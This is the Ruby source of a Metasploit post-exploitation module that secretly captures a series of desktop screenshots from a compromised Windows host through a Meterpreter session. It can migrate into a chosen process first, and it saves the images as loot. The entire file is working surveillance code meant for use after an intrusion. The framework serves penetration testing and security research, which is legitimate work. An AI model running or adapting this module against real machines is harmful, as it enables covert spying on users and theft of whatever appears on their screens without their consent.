Windows Gather Screen Spy

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rbconfig'

class MetasploitModule < Msf::Post
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Screen Spy',
        'Description' => %q{
          This module will incrementally take desktop screenshots from the host. This
          allows for screen spying which can be useful to determine if there is an active
          user on a machine, or to record the screen for later data extraction.

          Note: As of March, 2014, the VIEW_CMD option has been removed in
          favor of the Boolean VIEW_SCREENSHOTS option, which will control if (but
          not how) the collected screenshots will be viewed from the Metasploit
          interface.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Roni Bachar <roni.bachar.blog[at]gmail.com>', # original meterpreter script
          'bannedit', # post module
          'kernelsmith <kernelsmith /x40 kernelsmith /x2E com>', # record/loot support,log x approach, nx
          'Adrian Kubok', # better record file names
          'DLL_Cool_J' # Specify PID to migrate into
        ],
        'Platform' => ['win'], # @todo add support for posix meterpreter somehow?
        'SessionTypes' => ['meterpreter'],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_migrate
            ]
          }
        }
      )
    )

    register_options(
      [
        OptInt.new('DELAY', [true, 'Interval between screenshots in seconds', 5]),
        OptInt.new('COUNT', [true, 'Number of screenshots to collect', 6]),
        OptBool.new('VIEW_SCREENSHOTS', [false, 'View screenshots automatically', false]),
        OptBool.new('RECORD', [true, 'Record all screenshots to disk by saving them to loot', true]),
        OptString.new('PID', [false, 'PID to migrate into before taking the screenshots', ''])
      ]
    )
  end

  def view_screenshots?
    datastore['VIEW_SCREENSHOTS']
  end

  def record?
    datastore['RECORD']
  end

  def run
    host = session.session_host
    screenshot = Msf::Config.config_directory + '/logs/' + host + '.jpg'

    # If no PID is specified, don't migrate.
    if datastore['PID'] != ''
      migrate
    end

    if session.platform !~ /windows/i
      print_error('Unsupported Platform')
      return
    end

    begin
      session.core.use('espia')
    rescue ::Exception => e
      print_error("Failed to load espia extension (#{e})")
      return
    end

    begin
      count = datastore['COUNT']
      print_status "Capturing #{count} screenshots with a delay of #{datastore['DELAY']} seconds"
      # calculate a sane number of leading zeros to use.  log of x  is ~ the number of digits
      leading_zeros = Math.log10(count).round
      file_locations = []
      count.times do |num|
        select(nil, nil, nil, datastore['DELAY'])
        begin
          data = session.espia.espia_image_get_dev_screen
        rescue Rex::Post::Meterpreter::RequestError => e
          print_error("Error taking the screenshot: #{e.class} #{e} #{e.backtrace}")
          return false
        end
        if data
          if record?
            if framework.db.active
              # let's loot it using non-clobbering filename, even tho this is the source filename, not dest
              fn = "screenshot.%0#{leading_zeros}d.jpg" % num
              file_locations << store_loot('screenspy.screenshot', 'image/jpg', session, data, fn, 'Screenshot')
            else
              print_error('RECORD flag specified however the database is not connected, so no loot can be stored!')
              return false
            end
          end

          # also write to disk temporarily so we can display in browser.
          # They may or may not have been RECORDed.
          # do this if they have not suppressed VIEW_SCREENSHOT display
          if view_screenshots?
            fd = ::File.new(screenshot, 'wb')
            fd.write(data)
            fd.close
          end

        end

        if view_screenshots?
          screenshot_path = "file://#{screenshot}"
          Rex::Compat.open_browser(screenshot_path)
        end
      end
    rescue IOError, Errno::ENOENT => e
      print_error("Error storing screenshot: #{e.class} #{e} #{e.backtrace}")
      return
    end
    print_status('Screen Spying Complete')
    if record? && framework.db.active && file_locations && !file_locations.empty?
      print_status 'run loot -t screenspy.screenshot to see file locations of your newly acquired loot'
    end

    if view_screenshots?
      # wait 2 secs so the last file can get opened before deletion
      sleep 2
      vprint_status "Deleting temporary screenshot file: #{screenshot}"
      begin
        ::File.delete(screenshot)
      rescue StandardError => e
        print_error("Error deleting the temporary screenshot file: #{e.class} #{e} #{e.backtrace}")
        print_error('This may be due to the file being in use if you are on a Windows platform')
      end
    end
  end

  def migrate
    session.core.migrate(datastore['PID'].to_i)
    print_good('Migration successful')
    return datastore['PID']
  rescue StandardError
    fail_with(Failure::Unknown, 'Migration failed! Unable to take a screenshot under the desired process!')
    return nil
  end
end